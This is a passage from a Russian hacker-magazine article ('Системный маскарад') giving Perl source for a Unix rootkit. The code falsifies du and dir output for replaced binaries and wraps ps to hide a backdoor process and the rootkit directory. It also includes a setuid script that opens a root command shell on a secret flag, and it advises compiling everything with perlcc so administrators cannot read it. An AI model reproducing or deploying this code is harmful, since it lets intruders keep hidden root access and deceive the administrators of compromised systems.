Системный маскарад Юрий Гольцев Хакер, номер #080, стр. 080-058-3 Поскольку список скрываемых файлов – штука индивидуальная и подвижная, рационально создать универсальный код, чтобы в него в любой момент было можно что-то быстро дописать и главное, что бы это все работало. Поэтому первым делом в программе мы создадим массив с именами файлов, информацию о которых нужно изменять: @fake_tools=("/usr/bin/dir","/usr/bin/du"); Затем напишем универсальную функцию для всех фэйковых файлов: Функция, изменяющая информацию о модифицированных файлах на исходную sub checkz { @fak=split(/\//,$fake); #разбиваем по «/» путь до фэйковой тулзы if (scalar(@fak)==3){$fak[3]=$fak[2];$fak[2]=$fak[1]} if (($arg=~/$fak[3]/)&&($pwd eq "/$fak[1]/$fak[2]") || ($arg eq "$fake")) { $diz=`/bin/rootkit/du $kit_path/$fak[3]`; #достаем данные об оригинале @ediz=split(/\t/,$diz); if ($duz=~/$fak[3]/) { print "$ediz[0]\t$fak[3]\n";exit(); } #выводим часть данных об оригинале if ($duz=="$fake") { print "$ediz[0]\t$fake\n"; exit(); } }} Абсолютно такой же код можно реализовать и для ls. Только придется немного подправить вывод уже фэйкового ls'а. Конечную реализацию ты найдешь на нашем диске. [три части готовы] Итак, поздравляю, третья часть нашего руткита готова. Сейчас мы перейдем к самому главному: к сокрытию наших процессов. Для этого нам необходимо сделать оболочку для ps: [оболочка для ps] #!/usr/bin/perl $kit_path="/bin/rootkit"; $proc="klogb"; #имя бэкдор-процесса в системе $t=0; @ps=`/bin/ps @ARGV`; foreach $arg(@ARGV) { if ($arg=~/$proc/) { $arg="" } } foreach $ps(@ps) { if ($ps=~/$proc/) { $ps="" } #прячем секретный процесс if ($ps=~/$kit_path/){$ps=""} #если запущенный процесс находится в секретной папке, прячем и его if (($ps=~/perl/) && ($ps=~/ps/)){$ps=""} #при запуске /bin/ps в системе появятся 2 новых процесса: perl /bin/ps и ps. Убираем и их. if ($ps=~/$kit_path\/ps/) { @pss=split(/ /,$ps); foreach $pss(@pss) #вместо /bin/rootkit/ps пишем просто «ps» {if ($pss=~/ps/){$pss="ps"}$t++; if ($t==scalar(@pss)) {print "$pss"} else {print "$pss ";}};} else {print "$ps";}} Все! Фэйк-оболочка для ps готова к употреблению. Для удобства осталось лишь накатать скрипт для работы в системе – например, для быстрого получения суидного шелла. Я решил не изобретать велосипед и просто приведу скрипт, который наколбасил Форб в одном из прошедших номеров: #!/usr/bin/suidperl -U foreach $arg(@ARGV) { if ($arg eq "-suid_r0x") { while (1){ print "[root\@owned] "; chomp($cmd=<STDIN>); print `$cmd`; } } else { print "No such file or directory\n"; exit() } } Да, не забудь поставить бит +s этому сценарию :). [ничего не забыли?] Как видишь, ничего сложного! Немного фантазии — и руткит готов. На диске ты можешь найти полный руткит-комплект, в состав которого входят скрипты-оболочки для утилит du, dir, ls, find, locate, netstat и ps. Так, ничего не забыли? Забыли, приятель! Представь, к примеру, что кто-то захочет сделать cat для /bin/ls, что произойдет в этом случае? Он увидит содержимое нашего перловго скрипта и в момент пропалит всю мазу! Для того, чтобы этого не произошло, необходимо просто скомпилировать наши перловые скрипты в бинарные файлы утилитой perlcc, которая присутствует во всех unix-системах. Теперь, если кто-то сделает cat /bin/ls, то он увидит множество сомнительных символов, называемых в народе «зюзюками». |